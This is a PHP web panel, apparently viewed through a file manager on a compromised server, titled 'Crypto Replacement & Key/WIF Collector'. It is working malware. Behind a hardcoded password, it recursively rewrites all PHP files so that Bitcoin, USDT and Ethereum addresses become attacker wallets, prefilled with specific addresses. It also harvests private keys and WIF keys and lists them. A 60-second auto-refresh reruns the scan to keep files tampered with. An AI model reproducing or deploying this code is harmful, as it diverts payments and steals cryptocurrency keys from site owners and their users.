Server Admin

Viewing: bit.php

<?php
/**
 * Crypto Replacement & Key/WIF Collector - Auto Re-Scan Edition
 *
 * Changes & Improvements:
 *  1. Page automatically refreshes every 60 seconds (meta refresh).
 *  2. Once you submit the form (and remain authenticated), we store your input in session.
 *  3. On each refresh, the script auto-runs the scanning process with last known settings.
 *  4. Cleaner code structure and comments.
 *
 * Security Recommendations:
 *  - Serve this page over HTTPS.
 *  - Lock down file permissions.
 *  - Possibly place behind additional authentication, IP restrictions, etc.
 */

session_start();
date_default_timezone_set('UTC');

// ------------------------- Configuration ------------------------- //

define('ACCESS_PASSWORD', 'ss12%');   // Access password.
define('MAX_LOGIN_ATTEMPTS', 3);
define('LOGIN_TIMEOUT', 300);

error_reporting(E_ALL);
ini_set('display_errors', 0);
set_time_limit(0);

// ------------------------- Authentication ------------------------- //

if (!isset($_SESSION['authenticated'])) {
    // Rate-limiting logic
    if (!isset($_SESSION['login_attempts'])) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    } elseif (time() - $_SESSION['first_attempt_time'] > LOGIN_TIMEOUT) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    }

    // Handle form submission
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
        $password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
        if ($_SESSION['login_attempts'] >= MAX_LOGIN_ATTEMPTS) {
            $_SESSION['login_error'] = "Too many failed attempts. Please try again later.";
        } else {
            if ($password === ACCESS_PASSWORD) {
                session_regenerate_id(true);
                $_SESSION['authenticated'] = true;
                $_SESSION['login_attempts'] = 0;
                header("Location: " . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $_SESSION['login_attempts']++;
                $_SESSION['login_error'] = "Incorrect password.";
            }
        }
    }

    // Show login form only
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8" />
      <title>Crypto Replacement - Login</title>
      <meta name="viewport" content="width=device-width, initial-scale=1" />
      <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" />
      <style>
        body {
          background: linear-gradient(135deg, #1e3c72, #2a5298);
          height: 100vh;
          display: flex;
          align-items: center;
          justify-content: center;
          font-family: 'Segoe UI', sans-serif;
          color: #fff;
          margin: 0;
        }
        .login-card {
          background: rgba(0, 0, 0, 0.85);
          padding: 2rem;
          border-radius: 12px;
          box-shadow: 0 4px 12px rgba(0, 0, 0, 0.7);
          width: 320px;
        }
        .login-card h2 {
          margin-bottom: 1.5rem;
          font-weight: 700;
        }
        .form-control {
          background: rgba(255,255,255,0.1);
          border: 1px solid rgba(255,255,255,0.3);
          color: #fff;
        }
        .btn-custom {
          background-color: #ff6f61;
          border: none;
          font-weight: 600;
        }
        .btn-custom:hover {
          background-color: #ff3b2e;
        }
      </style>
    </head>
    <body>
      <div class="login-card text-center">
        <h2>Login</h2>
        <?php if(isset($_SESSION['login_error'])): ?>
          <div class="alert alert-danger"><?= htmlspecialchars($_SESSION['login_error']); unset($_SESSION['login_error']); ?></div>
        <?php endif; ?>
        <form method="post">
          <div class="mb-3">
            <input type="password" name="password" class="form-control" placeholder="Enter Password" required autofocus />
          </div>
          <button type="submit" name="login" class="btn btn-custom w-100">Login</button>
        </form>
      </div>
    </body>
    </html>
    <?php
    exit;
}

// ------------------------- Helper Functions ------------------------- //

function buildFileListLive($baseDir, $ignoreDirs = []) {
    $files = [];
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($baseDir, FilesystemIterator::SKIP_DOTS)
        );
        foreach ($iterator as $file) {
            if (!$file->isFile() || strtolower($file->getExtension()) !== 'php') {
                continue;
            }
            foreach ($ignoreDirs as $ignored) {
                if (stripos($file->getPath(), $ignored) !== false) {
                    continue 2;
                }
            }
            $files[] = $file->getPathname();
        }
    } catch (Exception $ex) {
        error_log("Error building file list: " . $ex->getMessage());
    }
    return $files;
}

function processSingleFile($filePath, $patterns, &$stats, &$errors, &$fileDetails) {
    if (!is_readable($filePath)) {
        $errors[] = "File '$filePath' not readable.";
        return;
    }
    $content = file_get_contents($filePath);
    if ($content === false) {
        $errors[] = "Failed to read '$filePath'.";
        return;
    }
    $patternDetails = [];
    $fileReplacements = 0;

    foreach ($patterns as $type => $pat) {
        $matches = [];
        preg_match_all($pat['regex'], $content, $matches);
        if (empty($matches[0])) {
            continue;
        }
        if (!isset($pat['replacement']) || $pat['replacement'] === null) {
            // Just collect
            $unique = array_unique($matches[0]);
            $patternDetails[$type] = [
                'count'       => count($unique),
                'found'       => array_values($unique),
                'replacement' => null
            ];
            $stats['totalPrivateKeys'] += count($unique);
        } else {
            // Replace
            $mapping = [];
            $countReplaced = 0;
            $content = preg_replace_callback($pat['regex'], function($match) use ($pat, &$mapping, &$countReplaced) {
                $oldValue = $match[0];
                $newValue = $pat['replacement'];
                $mapping[] = ['old' => $oldValue, 'new' => $newValue];
                $countReplaced++;
                return $newValue;
            }, $content);
            if ($countReplaced > 0) {
                $patternDetails[$type] = [
                    'count'       => $countReplaced,
                    'mappings'    => $mapping,
                    'replacement' => $pat['replacement']
                ];
                $fileReplacements += $countReplaced;
                $stats['totalReplacements'] += $countReplaced;
            }
        }
    }

    // Write changes if replacements occurred
    if ($fileReplacements > 0) {
        if (!is_writable($filePath)) {
            $errors[] = "File '$filePath' is not writable.";
        } elseif (@file_put_contents($filePath, $content) !== false) {
            $stats['changedFiles']++;
        } else {
            $errors[] = "Failed writing to '$filePath'.";
        }
    }
    if (!empty($patternDetails)) {
        $fileDetails[] = [
            'file'         => $filePath,
            'replacements' => $fileReplacements,
            'details'      => $patternDetails
        ];
    }
    $stats['totalFiles']++;
}

// ------------------------- Processing Logic ------------------------- //

// Step 1: Check if the form was submitted or if we have stored session data for auto re-scan
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['directory'])) {
    // User-submitted form
    $_SESSION['scandir'] = trim($_POST['directory'] ?: __DIR__);
    $_SESSION['replace_btc'] = trim($_POST['replacement_bitcoin'] ?? 'bc1qEXAMPLE');
    $_SESSION['replace_usdt'] = trim($_POST['replacement_usdt'] ?? 'TExample1234');
    $_SESSION['replace_eth'] = trim($_POST['replacement_ethereum'] ?? '0xEXAMPLE');
    $_SESSION['last_scan_time'] = time(); // store timestamp
} else {
    // No new form submission, but let's see if we have session values
    if (!isset($_SESSION['scandir'])) {
        // If we have absolutely nothing, we won't run scanning automatically
        // The user still sees the form
    } else {
        // We have existing session data, so we can re-run scanning automatically
        $_POST['directory'] = $_SESSION['scandir'];
        $_POST['replacement_bitcoin'] = $_SESSION['replace_btc'];
        $_POST['replacement_usdt'] = $_SESSION['replace_usdt'];
        $_POST['replacement_ethereum'] = $_SESSION['replace_eth'];
    }
}

$results = null;
$processTime = 0;

// Step 2: If we have directory in POST, proceed with scanning
if (!empty($_POST['directory'])) {
    $startTime = microtime(true);

    $baseDir = $_POST['directory'];
    $replacementBitcoin = $_POST['replacement_bitcoin'];
    $replacementUsdt    = $_POST['replacement_usdt'];
    $replacementEthereum= $_POST['replacement_ethereum'];

    $fileList = buildFileListLive($baseDir, []);

    $patterns = [
        'bitcoin' => [
            'regex'       => '/\b(?:[13][a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-z0-9]{25,39})\b/i',
            'replacement' => $replacementBitcoin,
        ],
        'usdt' => [
            'regex'       => '/\bT[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{33}\b/',
            'replacement' => $replacementUsdt,
        ],
        'ethereum' => [
            'regex'       => '/\b0x[a-fA-F0-9]{40}\b/',
            'replacement' => $replacementEthereum,
        ],
        'privatekey' => [
            'regex'       => '/\b[a-fA-F0-9]{64}\b/',
            'replacement' => null,
        ],
        'bitcoinwif' => [
            'regex'       => '/\b(?:5[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{49}|[KL][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{51})\b/',
            'replacement' => null,
        ],
    ];

    $stats = [
        'totalFiles'        => 0,
        'changedFiles'      => 0,
        'totalReplacements' => 0,
        'totalPrivateKeys'  => 0
    ];
    $errors = [];
    $fileDetails = [];

    foreach ($fileList as $filePath) {
        processSingleFile($filePath, $patterns, $stats, $errors, $fileDetails);
    }

    $processTime = microtime(true) - $startTime;
    $results = [
        'totalFilesFound' => count($fileList),
        'stats'           => $stats,
        'errors'          => $errors,
        'fileDetails'     => $fileDetails,
        'processTime'     => $processTime
    ];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Crypto Replacement & Key/WIF Collector - Auto Re-Scan</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Auto refresh every 60 seconds -->
    <meta http-equiv="refresh" content="60">
    <!-- Bootstrap CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">

    <style>
      body {
          background: linear-gradient(135deg, #e0eafc, #cfdef3);
          font-family: 'Segoe UI', sans-serif;
          padding-bottom: 2rem;
      }
      .container {
          margin-top: 2rem;
          max-width: 1100px;
      }
      .card {
          border: none;
          border-radius: 12px;
          box-shadow: 0 4px 12px rgba(0,0,0,0.1);
      }
      .card-title { color: #333; }
      .btn-custom {
          background-color: #6c63ff;
          color: #fff;
          font-weight: 600;
          border: none;
      }
      .btn-custom:hover { background-color: #574ce0; }
      pre {
          background: #f8f9fa;
          padding: 1rem;
          border-radius: 6px;
          max-height: 300px;
          overflow-y: auto;
      }
    </style>
</head>
<body>

<div class="container">
    <div class="card p-4 mb-5">
        <h1 class="card-title text-center mb-4">Crypto Replacement & Key/WIF Collector (Auto Re-Scan)</h1>

        <?php if ($results !== null): ?>
            <!-- Results Summary -->
            <div class="mb-4">
                <h4 class="mb-3">Processing Complete</h4>
                <div class="row">
                    <div class="col-md-3">
                        <div class="alert alert-primary text-center">
                            <strong><?= htmlspecialchars($results['totalFilesFound']); ?></strong>
                            <br>Total PHP Files
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="alert alert-success text-center">
                            <strong><?= htmlspecialchars($results['stats']['changedFiles']); ?></strong>
                            <br>Files Changed
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="alert alert-info text-center">
                            <strong><?= htmlspecialchars($results['stats']['totalReplacements']); ?></strong>
                            <br>Total Replacements
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="alert alert-warning text-center">
                            <strong><?= htmlspecialchars($results['stats']['totalPrivateKeys']); ?></strong>
                            <br>Keys/WIFs Found
                        </div>
                    </div>
                </div>
                <p class="text-center mt-3">
                    Processing Time: <strong><?= number_format($results['processTime'], 3); ?></strong> seconds.
                </p>
            </div>

            <?php if (!empty($results['errors'])): ?>
                <div class="alert alert-danger">
                    <h5>Errors:</h5>
                    <ul>
                        <?php foreach ($results['errors'] as $error): ?>
                            <li><?= htmlspecialchars($error); ?></li>
                        <?php endforeach; ?>
                    </ul>
                </div>
            <?php endif; ?>

            <?php if (!empty($results['fileDetails'])): ?>
                <h5 class="mb-3">Detailed File Report:</h5>
                <div class="accordion" id="filesAccordion">
                    <?php foreach ($results['fileDetails'] as $i => $detail): ?>
                        <div class="accordion-item">
                            <h2 class="accordion-header" id="heading<?= $i; ?>">
                                <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse"
                                        data-bs-target="#collapse<?= $i; ?>" aria-expanded="false" aria-controls="collapse<?= $i; ?>">
                                    <?= htmlspecialchars($detail['file']); ?> &mdash; 
                                    Replacements: <?= htmlspecialchars($detail['replacements']); ?>
                                </button>
                            </h2>
                            <div id="collapse<?= $i; ?>" class="accordion-collapse collapse"
                                 aria-labelledby="heading<?= $i; ?>" data-bs-parent="#filesAccordion">
                                <div class="accordion-body">
                                    <?php foreach ($detail['details'] as $type => $info): ?>
                                        <h6><?= ucfirst($type); ?> <?= $info['replacement'] !== null ? "(Replaced)" : "(Collected)" ?></h6>
                                        <?php if ($info['replacement'] !== null): ?>
                                            <table class="table table-sm table-bordered mb-3">
                                                <thead class="table-light">
                                                    <tr>
                                                        <th>Old Value</th>
                                                        <th>New Value</th>
                                                    </tr>
                                                </thead>
                                                <tbody>
                                                    <?php foreach ($info['mappings'] as $map): ?>
                                                        <tr>
                                                            <td><?= htmlspecialchars($map['old']); ?></td>
                                                            <td><?= htmlspecialchars($map['new']); ?></td>
                                                        </tr>
                                                    <?php endforeach; ?>
                                                </tbody>
                                            </table>
                                        <?php else: ?>
                                            <p>Matches found: <?= htmlspecialchars($info['count']); ?></p>
                                            <pre><?= htmlspecialchars(implode("\n", $info['found'])); ?></pre>
                                        <?php endif; ?>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                        </div>
                    <?php endforeach; ?>
                </div>
            <?php endif; ?>

            <div class="text-center mt-4">
                <a href="<?= htmlspecialchars($_SERVER['PHP_SELF']); ?>" class="btn btn-custom btn-lg">Process Another Directory</a>
            </div>
        <?php else: ?>
            <!-- Processing Form (initial or no auto-scan config) -->
            <form method="post" action="<?= htmlspecialchars($_SERVER['PHP_SELF']); ?>">
                <div class="mb-3">
                    <label for="directory" class="form-label">Base Directory</label>
                    <input type="text" class="form-control" id="directory" name="directory"
                           value="<?= htmlspecialchars(__DIR__); ?>" required>
                </div>
                <div class="row mb-3">
                    <div class="col-md-4">
                        <label for="replacement_bitcoin" class="form-label">Replacement Bitcoin</label>
                        <input type="text" class="form-control" id="replacement_bitcoin"
                               name="replacement_bitcoin"
                               value="bc1qetdx5drz48prvxe53f3s6jcsnttmakmgrgh8aa" required>
                    </div>
                    <div class="col-md-4">
                        <label for="replacement_usdt" class="form-label">Replacement USDT</label>
                        <input type="text" class="form-control" id="replacement_usdt"
                               name="replacement_usdt"
                               value="TBLjQC8TZXFP8usiVtwbrpSdMK2FhuQfLH" required>
                    </div>
                    <div class="col-md-4">
                        <label for="replacement_ethereum" class="form-label">Replacement Ethereum</label>
                        <input type="text" class="form-control" id="replacement_ethereum"
                               name="replacement_ethereum"
                               value="0x863DA586E8eFC38Db582161dCD3153840D71b5eC" required>
                    </div>
                </div>
                <div class="alert alert-info">
                    <ul class="mb-0">
                        <li>Private keys and BTC WIF are only collected (not replaced).</li>
                        <li>All .php files in the specified directory (recursively) are scanned.</li>
                        <li>This page refreshes automatically every 60 seconds and will re-run the scan if already configured.</li>
                    </ul>
                </div>
                <div class="d-grid">
                    <button type="submit" class="btn btn-custom btn-lg">Start Processing</button>
                </div>
            </form>
        <?php endif; ?>
    </div>
</div>

<!-- Bootstrap JS (with Popper) -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Back to File Manager